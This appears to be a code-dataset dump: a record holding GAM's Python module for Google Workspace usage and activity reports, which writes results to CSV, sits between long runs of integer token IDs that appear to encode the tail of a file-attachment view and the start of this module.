12256,
29918,
1964,
27998,
3352,
29897,
13,
13,
1678,
822,
1051,
29898,
1311,
29892,
2009,
29892,
334,
5085,
29892,
3579,
19290,
1125,
13,
4706,
736,
13291,
29898,
4882,
29922,
4882,
29889,
10493,
29918,
29946,
29900,
29945,
29918,
2303,
4690,
13668,
29918,
12256,
29918,
1964,
27998,
3352,
29897,
13,
13,
1678,
822,
8174,
29898,
1311,
29892,
2009,
29892,
334,
5085,
29892,
3579,
19290,
1125,
13,
4706,
736,
13291,
29898,
4882,
29922,
4882,
29889,
10493,
29918,
29946,
29900,
29945,
29918,
2303,
4690,
13668,
29918,
12256,
29918,
1964,
27998,
3352,
29897,
13,
13,
1678,
732,
2467,
29898,
13,
4706,
3519,
29922,
703,
5438,
613,
511,
13,
4706,
9493,
29922,
5574,
29892,
13,
4706,
3142,
29918,
2084,
543,
14930,
1860,
613,
13,
4706,
13812,
29918,
13203,
7607,
15329,
7439,
11726,
29892,
511,
13,
1678,
1723,
13,
1678,
822,
1400,
29918,
14930,
358,
29898,
1311,
29892,
2009,
29892,
334,
5085,
29892,
3579,
19290,
1125,
13,
4706,
9995,
13,
4706,
5020,
1359,
263,
2323,
934,
408,
26305,
13,
4706,
9995,
13,
4706,
5446,
353,
1583,
29889,
657,
29918,
3318,
580,
13,
13,
4706,
565,
5446,
29889,
6214,
29889,
4882,
451,
297,
15149,
9806,
3352,
29918,
3301,
7390,
28541,
29918,
14474,
29918,
17816,
17171,
29903,
29901,
13,
9651,
12020,
15758,
362,
2392,
29898,
13,
18884,
376,
4165,
496,
1860,
508,
367,
20373,
871,
363,
360,
4717,
7818,
8324,
29908,
13,
9651,
1723,
13,
13,
4706,
396,
15758,
403,
2009,
848,
13,
4706,
7797,
3950,
353,
6212,
25117,
17679,
29898,
13,
9651,
848,
3790,
13,
18884,
376,
2083,
1050,
29918,
29894,
3222,
261,
1115,
5446,
29889,
333,
29892,
13,
18884,
376,
14930,
358,
29918,
1445,
1115,
2009,
29889,
1272,
3366,
14930,
358,
29918,
1445,
12436,
13,
18884,
376,
3051,
29918,
1853,
1115,
2009,
29889,
1272,
3366,
14930,
358,
29918,
1445,
16862,
3051,
29918,
1853,
29892,
13,
18884,
376,
14930,
358,
29918,
1853,
1115,
2009,
29889,
1272,
3366,
14930,
358,
29918,
1853,
12436,
13,
9651,
500,
13,
4706,
1723,
13,
4706,
7797,
3950,
29889,
275,
29918,
3084,
29898,
22692,
29918,
11739,
29922,
5574,
29897,
13,
4706,
7797,
3950,
29889,
7620,
580,
13,
4706,
736,
13291,
29898,
15550,
3950,
29889,
1272,
29892,
4660,
29922,
4882,
29889,
10493,
29918,
29906,
29900,
29896,
29918,
27045,
29928,
29897,
13,
13,
1678,
732,
2467,
29898,
13,
4706,
3519,
7607,
13,
9651,
376,
7194,
613,
13,
9651,
376,
2287,
18476,
613,
13,
4706,
10353,
13,
4706,
9493,
29922,
5574,
29892,
13,
4706,
3142,
29918,
2084,
543,
14930,
1860,
29914,
10780,
29925,
29966,
14930,
358,
29918,
20571,
29958,
22896,
29914,
5586,
29974,
19123,
13,
1678,
1723,
13,
1678,
822,
4386,
29918,
14930,
358,
29898,
1311,
29892,
2009,
29892,
26305,
29918,
20571,
29892,
334,
5085,
29892,
3579,
19290,
1125,
13,
4706,
5446,
353,
1583,
29889,
657,
29918,
3318,
580,
13,
13,
4706,
565,
2009,
29889,
5696,
1275,
376,
7194,
1115,
13,
9651,
9995,
13,
9651,
7523,
263,
2323,
26305,
408,
934,
13,
9651,
9995,
13,
9651,
26305,
353,
5446,
29889,
14930,
1860,
29889,
4572,
29898,
20571,
29922,
14930,
358,
29918,
20571,
467,
4102,
580,
13,
9651,
565,
451,
26305,
470,
451,
26305,
29889,
14930,
358,
29918,
1445,
29901,
13,
18884,
736,
13291,
29898,
13,
462,
1678,
426,
13,
462,
4706,
376,
16432,
1115,
3402,
29918,
433,
1537,
29898,
13,
462,
9651,
903,
703,
2283,
451,
1476,
1213,
511,
13,
462,
4706,
1723,
13,
462,
1678,
2981,
13,
462,
1678,
4660,
29922,
4882,
29889,
10493,
29918,
29946,
29900,
29946,
29918,
12256,
29918,
5800,
18783,
29892,
13,
18884,
1723,
13,
9651,
736,
3497,
5103,
29898,
14930,
358,
29889,
14930,
358,
29918,
1445,
29897,
13,
13,
4706,
25342,
2009,
29889,
5696,
1275,
376,
2287,
18476,
1115,
13,
9651,
9995,
13,
9651,
21267,
263,
2323,
26305,
408,
934,
13,
9651,
9995,
13,
9651,
565,
5446,
29889,
6214,
29889,
4882,
451,
297,
15149,
9806,
3352,
29918,
3301,
7390,
28541,
29918,
14474,
29918,
17816,
17171,
29903,
29901,
13,
18884,
12020,
15758,
362,
2392,
29898,
13,
462,
1678,
376,
4165,
496,
1860,
508,
367,
11132,
871,
363,
360,
4717,
7818,
8324,
29908,
13,
18884,
1723,
13,
13,
9651,
565,
313,
13,
18884,
5446,
29889,
6214,
29889,
4882,
13,
18884,
451,
297,
6212,
25117,
17679,
29889,
1299,
8687,
29950,
13780,
29918,
6720,
4571,
29943,
28541,
29918,
1964,
27998,
3352,
29918,
17816,
17171,
29903,
13,
632,
1125,
13,
18884,
736,
13291,
29898,
13,
462,
1678,
8853,
16432,
1115,
903,
703,
10925,
451,
6068,
363,
445,
2280,
4660,
23157,
1118,
13,
462,
1678,
4660,
29922,
4882,
29889,
10493,
29918,
29946,
29900,
29941,
29918,
22051,
29933,
1367,
29928,
1430,
29892,
13,
18884,
1723,
13,
9651,
1018,
29901,
13,
18884,
2777,
353,
5446,
29889,
14930,
1860,
29889,
657,
29898,
333,
29922,
14930,
358,
29918,
20571,
29897,
13,
9651,
5174,
15283,
29889,
2061,
25125,
3664,
1252,
391,
29901,
13,
18884,
736,
13291,
29898,
13,
462,
1678,
8853,
16432,
1115,
903,
703,
2283,
451,
1476,
23157,
1118,
4660,
29922,
4882,
29889,
10493,
29918,
29946,
29900,
29946,
29918,
12256,
29918,
5800,
18783,
13,
18884,
1723,
13,
9651,
2777,
29889,
8143,
580,
13,
9651,
736,
13291,
29898,
4882,
29922,
4882,
29889,
10493,
29918,
29906,
29900,
29946,
29918,
6632,
29918,
22412,
3919,
29897,
13,
2
] |
src/gam/gapi/reports.py | GAM-team/GAM | 102 | 34599 | import calendar
import datetime
import re
import sys
from dateutil.relativedelta import relativedelta
import gam
from gam.var import *
from gam import controlflow
from gam import display
from gam import gapi
from gam import utils
from gam.gapi.directory import orgunits as gapi_directory_orgunits
def build():
return gam.buildGAPIObject('reports')
REPORT_CHOICE_MAP = {
'access': 'access_transparency',
'accesstransparency': 'access_transparency',
'calendars': 'calendar',
'customers': 'customer',
'doc': 'drive',
'docs': 'drive',
'domain': 'customer',
'enterprisegroups': 'groups_enterprise',
'google+': 'gplus',
'group': 'groups',
'groupsenterprise': 'groups_enterprise',
'hangoutsmeet': 'meet',
'logins': 'login',
'oauthtoken': 'token',
'tokens': 'token',
'usage': 'usage',
'usageparameters': 'usageparameters',
'users': 'user',
'useraccounts': 'user_accounts',
}
def showUsageParameters():
rep = build()
throw_reasons = [
gapi.errors.ErrorReason.INVALID, gapi.errors.ErrorReason.BAD_REQUEST
]
todrive = False
if len(sys.argv) == 3:
controlflow.missing_argument_exit('user or customer',
'report usageparameters')
report = sys.argv[3].lower()
titles = ['parameter']
if report == 'customer':
endpoint = rep.customerUsageReports()
kwargs = {}
elif report == 'user':
endpoint = rep.userUsageReport()
kwargs = {'userKey': gam._get_admin_email()}
else:
controlflow.expected_argument_exit('usageparameters',
['user', 'customer'], report)
customerId = GC_Values[GC_CUSTOMER_ID]
if customerId == MY_CUSTOMER:
customerId = None
tryDate = datetime.date.today().strftime(YYYYMMDD_FORMAT)
all_parameters = set()
i = 4
while i < len(sys.argv):
myarg = sys.argv[i].lower().replace('_', '')
if myarg == 'todrive':
todrive = True
i += 1
else:
controlflow.invalid_argument_exit(sys.argv[i],
'gam report usageparameters')
fullDataRequired = ['all']
while True:
try:
result = gapi.call(endpoint,
'get',
throw_reasons=throw_reasons,
date=tryDate,
customerId=customerId,
fields='warnings,usageReports(parameters(name))',
**kwargs)
warnings = result.get('warnings', [])
usage = result.get('usageReports')
has_reports = bool(usage)
fullData, tryDate = _check_full_data_available(
warnings, tryDate, fullDataRequired, has_reports)
if fullData < 0:
print('No usage parameters available.')
sys.exit(1)
if has_reports:
for parameter in usage[0]['parameters']:
name = parameter.get('name')
if name:
all_parameters.add(name)
if fullData == 1:
break
except gapi.errors.GapiInvalidError as e:
tryDate = _adjust_date(str(e))
csvRows = []
for parameter in sorted(all_parameters):
csvRows.append({'parameter': parameter})
display.write_csv_file(csvRows, titles,
f'{report.capitalize()} Report Usage Parameters',
todrive)
REPORTS_PARAMETERS_SIMPLE_TYPES = [
'intValue', 'boolValue', 'datetimeValue', 'stringValue'
]
def showUsage():
rep = build()
throw_reasons = [
gapi.errors.ErrorReason.INVALID, gapi.errors.ErrorReason.BAD_REQUEST
]
todrive = False
if len(sys.argv) == 3:
controlflow.missing_argument_exit('user or customer', 'report usage')
report = sys.argv[3].lower()
titles = ['date']
if report == 'customer':
endpoint = rep.customerUsageReports()
kwargs = [{}]
elif report == 'user':
endpoint = rep.userUsageReport()
kwargs = [{'userKey': 'all'}]
titles.append('user')
else:
controlflow.expected_argument_exit('usage', ['user', 'customer'],
report)
customerId = GC_Values[GC_CUSTOMER_ID]
if customerId == MY_CUSTOMER:
customerId = None
parameters = []
start_date = end_date = orgUnitId = None
skip_day_numbers = []
skip_dates = set()
one_day = datetime.timedelta(days=1)
i = 4
while i < len(sys.argv):
myarg = sys.argv[i].lower().replace('_', '')
if myarg == 'startdate':
start_date = utils.get_yyyymmdd(sys.argv[i + 1],
returnDateTime=True)
i += 2
elif myarg == 'enddate':
end_date = utils.get_yyyymmdd(sys.argv[i + 1], returnDateTime=True)
i += 2
elif myarg == 'todrive':
todrive = True
i += 1
elif myarg in ['fields', 'parameters']:
parameters = sys.argv[i + 1].split(',')
i += 2
elif myarg == 'skipdates':
for skip in sys.argv[i + 1].split(','):
if skip.find(':') == -1:
skip_dates.add(utils.get_yyyymmdd(skip,
returnDateTime=True))
else:
skip_start, skip_end = skip.split(':', 1)
skip_start = utils.get_yyyymmdd(skip_start,
returnDateTime=True)
skip_end = utils.get_yyyymmdd(skip_end, returnDateTime=True)
while skip_start <= skip_end:
skip_dates.add(skip_start)
skip_start += one_day
i += 2
elif myarg == 'skipdaysofweek':
skipdaynames = sys.argv[i + 1].split(',')
dow = [d.lower() for d in calendar.day_abbr]
skip_day_numbers = [dow.index(d) for d in skipdaynames if d in dow]
i += 2
elif report == 'user' and myarg in ['orgunit', 'org', 'ou']:
_, orgUnitId = gapi_directory_orgunits.getOrgUnitId(sys.argv[i + 1])
i += 2
elif report == 'user' and myarg in usergroup_types:
users = gam.getUsersToModify(myarg, sys.argv[i + 1])
kwargs = [{'userKey': user} for user in users]
i += 2
else:
controlflow.invalid_argument_exit(sys.argv[i],
f'gam report usage {report}')
if parameters:
titles.extend(parameters)
parameters = ','.join(parameters)
else:
parameters = None
if not end_date:
end_date = datetime.datetime.now()
if not start_date:
start_date = end_date + relativedelta(months=-1)
if orgUnitId:
for kw in kwargs:
kw['orgUnitID'] = orgUnitId
usage_on_date = start_date
start_date = usage_on_date.strftime(YYYYMMDD_FORMAT)
usage_end_date = end_date
end_date = end_date.strftime(YYYYMMDD_FORMAT)
start_use_date = end_use_date = None
csvRows = []
while usage_on_date <= usage_end_date:
if usage_on_date.weekday() in skip_day_numbers or \
usage_on_date in skip_dates:
usage_on_date += one_day
continue
use_date = usage_on_date.strftime(YYYYMMDD_FORMAT)
usage_on_date += one_day
try:
for kwarg in kwargs:
try:
usage = gapi.get_all_pages(endpoint,
'get',
'usageReports',
throw_reasons=throw_reasons,
customerId=customerId,
date=use_date,
parameters=parameters,
**kwarg)
except gapi.errors.GapiBadRequestError:
continue
for entity in usage:
row = {'date': use_date}
if 'userEmail' in entity['entity']:
row['user'] = entity['entity']['userEmail']
for item in entity.get('parameters', []):
if 'name' not in item:
continue
name = item['name']
if name == 'cros:device_version_distribution':
for cros_ver in item['msgValue']:
v = cros_ver['version_number']
column_name = f'cros:num_devices_chrome_{v}'
if column_name not in titles:
titles.append(column_name)
row[column_name] = cros_ver['num_devices']
else:
if not name in titles:
titles.append(name)
for ptype in REPORTS_PARAMETERS_SIMPLE_TYPES:
if ptype in item:
row[name] = item[ptype]
break
else:
row[name] = ''
if not start_use_date:
start_use_date = use_date
end_use_date = use_date
csvRows.append(row)
except gapi.errors.GapiInvalidError as e:
display.print_warning(str(e))
break
if start_use_date:
report_name = f'{report.capitalize()} Usage Report - {start_use_date}:{end_use_date}'
else:
report_name = f'{report.capitalize()} Usage Report - {start_date}:{end_date} - No Data'
display.write_csv_file(csvRows, titles, report_name, todrive)
def showReport():
rep = build()
throw_reasons = [gapi.errors.ErrorReason.INVALID]
report = sys.argv[2].lower()
report = REPORT_CHOICE_MAP.get(report.replace('_', ''), report)
if report == 'usage':
showUsage()
return
if report == 'usageparameters':
showUsageParameters()
return
valid_apps = gapi.get_enum_values_minus_unspecified(
rep._rootDesc['resources']['activities']['methods']['list']
['parameters']['applicationName']['enum']) + ['customer', 'user']
if report not in valid_apps:
controlflow.expected_argument_exit('report',
', '.join(sorted(valid_apps)),
report)
customerId = GC_Values[GC_CUSTOMER_ID]
if customerId == MY_CUSTOMER:
customerId = None
filters = parameters = actorIpAddress = groupIdFilter = startTime = endTime = eventName = orgUnitId = None
tryDate = datetime.date.today().strftime(YYYYMMDD_FORMAT)
to_drive = False
userKey = 'all'
fullDataRequired = None
i = 3
while i < len(sys.argv):
myarg = sys.argv[i].lower()
if myarg == 'date':
tryDate = utils.get_yyyymmdd(sys.argv[i + 1])
i += 2
elif myarg in ['orgunit', 'org', 'ou']:
_, orgUnitId = gapi_directory_orgunits.getOrgUnitId(sys.argv[i + 1])
i += 2
elif myarg == 'fulldatarequired':
fullDataRequired = []
fdr = sys.argv[i + 1].lower()
if fdr and fdr == 'all':
fullDataRequired = 'all'
else:
fullDataRequired = fdr.replace(',', ' ').split()
i += 2
elif myarg == 'start':
startTime = utils.get_time_or_delta_from_now(sys.argv[i + 1])
i += 2
elif myarg == 'end':
endTime = utils.get_time_or_delta_from_now(sys.argv[i + 1])
i += 2
elif myarg == 'event':
eventName = sys.argv[i + 1]
i += 2
elif myarg == 'user':
userKey = sys.argv[i + 1].lower()
if userKey != 'all':
userKey = gam.normalizeEmailAddressOrUID(sys.argv[i + 1])
i += 2
elif myarg in ['filter', 'filters']:
filters = sys.argv[i + 1]
i += 2
elif myarg in ['fields', 'parameters']:
parameters = sys.argv[i + 1]
i += 2
elif myarg == 'ip':
actorIpAddress = sys.argv[i + 1]
i += 2
elif myarg == 'groupidfilter':
groupIdFilter = sys.argv[i + 1]
i += 2
elif myarg == 'todrive':
to_drive = True
i += 1
else:
controlflow.invalid_argument_exit(sys.argv[i], 'gam report')
if report == 'user':
while True:
try:
one_page = gapi.call(rep.userUsageReport(),
'get',
throw_reasons=throw_reasons,
date=tryDate,
userKey=userKey,
customerId=customerId,
orgUnitID=orgUnitId,
fields='warnings,usageReports',
maxResults=1)
warnings = one_page.get('warnings', [])
has_reports = bool(one_page.get('usageReports'))
fullData, tryDate = _check_full_data_available(
warnings, tryDate, fullDataRequired, has_reports)
if fullData < 0:
print('No user report available.')
sys.exit(1)
if fullData == 0:
continue
page_message = gapi.got_total_items_msg('Users', '...\n')
usage = gapi.get_all_pages(rep.userUsageReport(),
'get',
'usageReports',
page_message=page_message,
throw_reasons=throw_reasons,
date=tryDate,
userKey=userKey,
customerId=customerId,
orgUnitID=orgUnitId,
filters=filters,
parameters=parameters)
break
except gapi.errors.GapiInvalidError as e:
tryDate = _adjust_date(str(e))
if not usage:
print('No user report available.')
sys.exit(1)
titles = ['email', 'date']
csvRows = []
for user_report in usage:
if 'entity' not in user_report:
continue
row = {'email': user_report['entity']['userEmail'], 'date': tryDate}
for item in user_report.get('parameters', []):
if 'name' not in item:
continue
name = item['name']
if not name in titles:
titles.append(name)
for ptype in REPORTS_PARAMETERS_SIMPLE_TYPES:
if ptype in item:
row[name] = item[ptype]
break
else:
row[name] = ''
csvRows.append(row)
display.write_csv_file(csvRows, titles, f'User Reports - {tryDate}',
to_drive)
elif report == 'customer':
while True:
try:
first_page = gapi.call(rep.customerUsageReports(),
'get',
throw_reasons=throw_reasons,
customerId=customerId,
date=tryDate,
fields='warnings,usageReports')
warnings = first_page.get('warnings', [])
has_reports = bool(first_page.get('usageReports'))
fullData, tryDate = _check_full_data_available(
warnings, tryDate, fullDataRequired, has_reports)
if fullData < 0:
print('No customer report available.')
sys.exit(1)
if fullData == 0:
continue
usage = gapi.get_all_pages(rep.customerUsageReports(),
'get',
'usageReports',
throw_reasons=throw_reasons,
customerId=customerId,
date=tryDate,
parameters=parameters)
break
except gapi.errors.GapiInvalidError as e:
tryDate = _adjust_date(str(e))
if not usage:
print('No customer report available.')
sys.exit(1)
titles = ['name', 'value', 'client_id']
csvRows = []
auth_apps = list()
for item in usage[0]['parameters']:
if 'name' not in item:
continue
name = item['name']
if 'intValue' in item:
value = item['intValue']
elif 'msgValue' in item:
if name == 'accounts:authorized_apps':
for subitem in item['msgValue']:
app = {}
for an_item in subitem:
if an_item == 'client_name':
app['name'] = 'App: ' + \
subitem[an_item].replace('\n', '\\n')
elif an_item == 'num_users':
app['value'] = f'{subitem[an_item]} users'
elif an_item == 'client_id':
app['client_id'] = subitem[an_item]
auth_apps.append(app)
continue
values = []
for subitem in item['msgValue']:
if 'count' in subitem:
mycount = myvalue = None
for key, value in list(subitem.items()):
if key == 'count':
mycount = value
else:
myvalue = value
if mycount and myvalue:
values.append(f'{myvalue}:{mycount}')
value = ' '.join(values)
elif 'version_number' in subitem \
and 'num_devices' in subitem:
values.append(f'{subitem["version_number"]}:'
f'{subitem["num_devices"]}')
else:
continue
value = ' '.join(sorted(values, reverse=True))
csvRows.append({'name': name, 'value': value})
for app in auth_apps: # put apps at bottom
csvRows.append(app)
display.write_csv_file(csvRows,
titles,
f'Customer Report - {tryDate}',
todrive=to_drive)
else:
page_message = gapi.got_total_items_msg('Activities', '...\n')
activities = gapi.get_all_pages(rep.activities(),
'list',
'items',
page_message=page_message,
applicationName=report,
userKey=userKey,
customerId=customerId,
actorIpAddress=actorIpAddress,
startTime=startTime,
endTime=endTime,
eventName=eventName,
filters=filters,
orgUnitID=orgUnitId,
groupIdFilter=groupIdFilter)
if activities:
titles = ['name']
csvRows = []
for activity in activities:
events = activity['events']
del activity['events']
activity_row = utils.flatten_json(activity)
purge_parameters = True
for event in events:
for item in event.get('parameters', []):
if set(item) == {'value', 'name'}:
event[item['name']] = item['value']
elif set(item) == {'intValue', 'name'}:
if item['name'] in ['start_time', 'end_time']:
val = item.get('intValue')
if val is not None:
val = int(val)
if val >= 62135683200:
event[item['name']] = \
datetime.datetime.fromtimestamp(
val-62135683200).isoformat()
else:
event[item['name']] = item['intValue']
elif set(item) == {'boolValue', 'name'}:
event[item['name']] = item['boolValue']
elif set(item) == {'multiValue', 'name'}:
event[item['name']] = ' '.join(item['multiValue'])
elif item['name'] == 'scope_data':
parts = {}
for message in item['multiMessageValue']:
for mess in message['parameter']:
value = mess.get(
'value',
' '.join(mess.get('multiValue', [])))
parts[mess['name']] = parts.get(
mess['name'], []) + [value]
for part, v in parts.items():
if part == 'scope_name':
part = 'scope'
event[part] = ' '.join(v)
else:
purge_parameters = False
if purge_parameters:
event.pop('parameters', None)
row = utils.flatten_json(event)
row.update(activity_row)
for item in row:
if item not in titles:
titles.append(item)
csvRows.append(row)
display.sort_csv_titles([
'name',
], titles)
display.write_csv_file(csvRows, titles,
f'{report.capitalize()} Activity Report',
to_drive)
def _adjust_date(errMsg):
match_date = re.match(
'Data for dates later than (.*) is not yet '
'available. Please check back later', errMsg)
if not match_date:
match_date = re.match('Start date can not be later than (.*)', errMsg)
if not match_date:
controlflow.system_error_exit(4, errMsg)
return str(match_date.group(1))
def _check_full_data_available(warnings, tryDate, fullDataRequired,
has_reports):
one_day = datetime.timedelta(days=1)
tryDateTime = datetime.datetime.strptime(tryDate, YYYYMMDD_FORMAT)
# move to day before if we don't have at least one usageReport
if not has_reports:
tryDateTime -= one_day
return (0, tryDateTime.strftime(YYYYMMDD_FORMAT))
for warning in warnings:
if warning['code'] == 'PARTIAL_DATA_AVAILABLE':
for app in warning['data']:
if app['key'] == 'application' and \
app['value'] != 'docs' and \
fullDataRequired is not None and \
(fullDataRequired == 'all' or app['value'] in fullDataRequired):
tryDateTime -= one_day
return (0, tryDateTime.strftime(YYYYMMDD_FORMAT))
elif warning['code'] == 'DATA_NOT_AVAILABLE':
for app in warning['data']:
if app['key'] == 'application' and \
app['value'] != 'docs' and \
(not fullDataRequired or app['value'] in fullDataRequired):
return (-1, tryDate)
return (1, tryDate)
| [
1,
1053,
17684,
13,
5215,
12865,
13,
5215,
337,
13,
5215,
10876,
13,
13,
3166,
2635,
4422,
29889,
2674,
1926,
287,
2554,
1053,
14215,
287,
2554,
13,
13,
5215,
24988,
13,
3166,
24988,
29889,
1707,
1053,
334,
13,
3166,
24988,
1053,
2761,
1731,
13,
3166,
24988,
1053,
2479,
13,
3166,
24988,
1053,
330,
2754,
13,
3166,
24988,
1053,
3667,
29879,
13,
3166,
24988,
29889,
29887,
2754,
29889,
12322,
1053,
1638,
348,
1169,
408,
330,
2754,
29918,
12322,
29918,
990,
348,
1169,
13,
13,
13,
1753,
2048,
7295,
13,
1678,
736,
24988,
29889,
4282,
29954,
8787,
2061,
877,
276,
4011,
1495,
13,
13,
13,
1525,
15082,
29918,
3210,
29949,
12107,
29918,
23827,
353,
426,
13,
1678,
525,
5943,
2396,
525,
5943,
29918,
3286,
862,
3819,
742,
13,
1678,
525,
562,
778,
710,
550,
862,
3819,
2396,
525,
5943,
29918,
3286,
862,
3819,
742,
13,
1678,
525,
1052,
355,
1503,
2396,
525,
23392,
742,
13,
1678,
525,
6341,
414,
2396,
525,
15539,
742,
13,
1678,
525,
1514,
2396,
525,
21594,
742,
13,
1678,
525,
2640,
2396,
525,
21594,
742,
13,
1678,
525,
7247,
2396,
525,
15539,
742,
13,
1678,
525,
5893,
558,
275,
4872,
4410,
2396,
525,
13155,
29918,
5893,
7734,
742,
13,
1678,
525,
3608,
29974,
2396,
525,
29887,
11242,
742,
13,
1678,
525,
2972,
2396,
525,
13155,
742,
13,
1678,
525,
13155,
5893,
7734,
2396,
525,
13155,
29918,
5893,
7734,
742,
13,
1678,
525,
11895,
17718,
1004,
300,
2396,
525,
1004,
300,
742,
13,
1678,
525,
1188,
1144,
2396,
525,
7507,
742,
13,
1678,
525,
29877,
1300,
400,
4476,
2396,
525,
6979,
742,
13,
1678,
525,
517,
12360,
2396,
525,
6979,
742,
13,
1678,
525,
21125,
2396,
525,
21125,
742,
13,
1678,
525,
21125,
16744,
2396,
525,
21125,
16744,
742,
13,
1678,
525,
7193,
2396,
525,
1792,
742,
13,
1678,
525,
1792,
10149,
29879,
2396,
525,
1792,
29918,
10149,
29879,
742,
13,
29913,
13,
13,
13,
1753,
1510,
27573,
11507,
7295,
13,
1678,
1634,
353,
2048,
580,
13,
1678,
3183,
29918,
276,
7040,
353,
518,
13,
4706,
330,
2754,
29889,
12523,
29889,
2392,
1123,
1658,
29889,
1177,
26707,
29892,
330,
2754,
29889,
12523,
29889,
2392,
1123,
1658,
29889,
29933,
3035,
29918,
16244,
13,
1678,
4514,
13,
1678,
7379,
4401,
353,
7700,
13,
1678,
565,
7431,
29898,
9675,
29889,
19218,
29897,
1275,
29871,
29941,
29901,
13,
4706,
2761,
1731,
29889,
27259,
29918,
23516,
29918,
13322,
877,
1792,
470,
11962,
742,
13,
462,
462,
3986,
525,
12276,
8744,
16744,
1495,
13,
1678,
3461,
353,
10876,
29889,
19218,
29961,
29941,
1822,
13609,
580,
13,
1678,
17735,
353,
6024,
15501,
2033,
13,
1678,
565,
3461,
1275,
525,
15539,
2396,
13,
4706,
16248,
353,
1634,
29889,
15539,
27573,
1123,
4011,
580,
13,
4706,
9049,
5085,
353,
6571,
13,
1678,
25342,
3461,
1275,
525,
1792,
2396,
13,
4706,
16248,
353,
1634,
29889,
1792,
27573,
13020,
580,
13,
4706,
9049,
5085,
353,
11117,
1792,
2558,
2396,
24988,
3032,
657,
29918,
6406,
29918,
5269,
28296,
13,
1678,
1683,
29901,
13,
4706,
2761,
1731,
29889,
9684,
29918,
23516,
29918,
13322,
877,
21125,
16744,
742,
13,
462,
462,
965,
6024,
1792,
742,
525,
15539,
7464,
3461,
29897,
13,
1678,
11962,
1204,
353,
19983,
29918,
9065,
29961,
8766,
29918,
29907,
17321,
6488,
1001,
29918,
1367,
29962,
13,
1678,
565,
11962,
1204,
1275,
19519,
29918,
29907,
17321,
6488,
1001,
29901,
13,
4706,
11962,
1204,
353,
6213,
13,
1678,
1018,
2539,
353,
12865,
29889,
1256,
29889,
27765,
2141,
710,
615,
603,
29898,
14995,
14995,
29924,
5773,
29928,
29918,
19094,
1299,
29897,
13,
1678,
599,
29918,
16744,
353,
731,
580,
13,
1678,
474,
353,
29871,
29946,
13,
1678,
1550,
474,
529,
7431,
29898,
9675,
29889,
19218,
1125,
13,
4706,
590,
1191,
353,
10876,
29889,
19218,
29961,
29875,
1822,
13609,
2141,
6506,
877,
29918,
742,
27255,
13,
4706,
565,
590,
1191,
1275,
525,
20034,
4401,
2396,
13,
9651,
7379,
4401,
353,
5852,
13,
9651,
474,
4619,
29871,
29896,
13,
4706,
1683,
29901,
13,
9651,
2761,
1731,
29889,
20965,
29918,
23516,
29918,
13322,
29898,
9675,
29889,
19218,
29961,
29875,
1402,
13,
462,
462,
795,
525,
29887,
314,
3461,
8744,
16744,
1495,
13,
1678,
2989,
1469,
19347,
353,
6024,
497,
2033,
13,
1678,
1550,
5852,
29901,
13,
4706,
1018,
29901,
13,
9651,
1121,
353,
330,
2754,
29889,
4804,
29898,
29734,
29892,
13,
462,
1669,
525,
657,
742,
13,
462,
1669,
3183,
29918,
276,
7040,
29922,
20539,
29918,
276,
7040,
29892,
13,
462,
1669,
2635,
29922,
2202,
2539,
29892,
13,
462,
1669,
11962,
1204,
29922,
15539,
1204,
29892,
13,
462,
1669,
4235,
2433,
25442,
886,
29892,
21125,
1123,
4011,
29898,
16744,
29898,
978,
876,
742,
13,
462,
1669,
3579,
19290,
29897,
13,
9651,
18116,
353,
1121,
29889,
657,
877,
25442,
886,
742,
518,
2314,
13,
9651,
8744,
353,
1121,
29889,
657,
877,
21125,
1123,
4011,
1495,
13,
9651,
756,
29918,
276,
4011,
353,
6120,
29898,
21125,
29897,
13,
9651,
2989,
1469,
29892,
1018,
2539,
353,
903,
3198,
29918,
8159,
29918,
1272,
29918,
16515,
29898,
13,
18884,
18116,
29892,
1018,
2539,
29892,
2989,
1469,
19347,
29892,
756,
29918,
276,
4011,
29897,
13,
9651,
565,
2989,
1469,
529,
29871,
29900,
29901,
13,
18884,
1596,
877,
3782,
8744,
4128,
3625,
29889,
1495,
13,
18884,
10876,
29889,
13322,
29898,
29896,
29897,
13,
9651,
565,
756,
29918,
276,
4011,
29901,
13,
18884,
363,
3443,
297,
8744,
29961,
29900,
22322,
16744,
2033,
29901,
13,
462,
1678,
1024,
353,
3443,
29889,
657,
877,
978,
1495,
13,
462,
1678,
565,
1024,
29901,
13,
462,
4706,
599,
29918,
16744,
29889,
1202,
29898,
978,
29897,
13,
9651,
565,
2989,
1469,
1275,
29871,
29896,
29901,
13,
18884,
2867,
13,
4706,
5174,
330,
2754,
29889,
12523,
29889,
29954,
2754,
13919,
2392,
408,
321,
29901,
13,
9651,
1018,
2539,
353,
903,
328,
5143,
29918,
1256,
29898,
710,
29898,
29872,
876,
13,
1678,
11799,
10661,
353,
5159,
13,
1678,
363,
3443,
297,
12705,
29898,
497,
29918,
16744,
1125,
13,
4706,
11799,
10661,
29889,
4397,
3319,
29915,
15501,
2396,
3443,
1800,
13,
1678,
2479,
29889,
3539,
29918,
7638,
29918,
1445,
29898,
7638,
10661,
29892,
17735,
29892,
13,
462,
965,
285,
29915,
29912,
12276,
29889,
5030,
2410,
675,
28296,
13969,
10783,
482,
12662,
2699,
742,
13,
462,
965,
7379,
4401,
29897,
13,
13,
13,
1525,
15082,
29903,
29918,
16320,
25797,
4945,
29903,
29918,
5425,
3580,
1307,
29918,
15631,
29925,
2890,
353,
518,
13,
1678,
525,
524,
1917,
742,
525,
11227,
1917,
742,
525,
12673,
1917,
742,
525,
1807,
1917,
29915,
13,
29962,
13,
13,
13,
1753,
1510,
27573,
7295,
13,
1678,
1634,
353,
2048,
580,
13,
1678,
3183,
29918,
276,
7040,
353,
518,
13,
4706,
330,
2754,
29889,
12523,
29889,
2392,
1123,
1658,
29889,
1177,
26707,
29892,
330,
2754,
29889,
12523,
29889,
2392,
1123,
1658,
29889,
29933,
3035,
29918,
16244,
13,
1678,
4514,
13,
1678,
7379,
4401,
353,
7700,
13,
1678,
565,
7431,
29898,
9675,
29889,
19218,
29897,
1275,
29871,
29941,
29901,
13,
4706,
2761,
1731,
29889,
27259,
29918,
23516,
29918,
13322,
877,
1792,
470,
11962,
742,
525,
12276,
8744,
1495,
13,
1678,
3461,
353,
10876,
29889,
19218,
29961,
29941,
1822,
13609,
580,
13,
1678,
17735,
353,
6024,
1256,
2033,
13,
1678,
565,
3461,
1275,
525,
15539,
2396,
13,
4706,
16248,
353,
1634,
29889,
15539,
27573,
1123,
4011,
580,
13,
4706,
9049,
5085,
353,
15974,
6525,
13,
1678,
25342,
3461,
1275,
525,
1792,
2396,
13,
4706,
16248,
353,
1634,
29889,
1792,
27573,
13020,
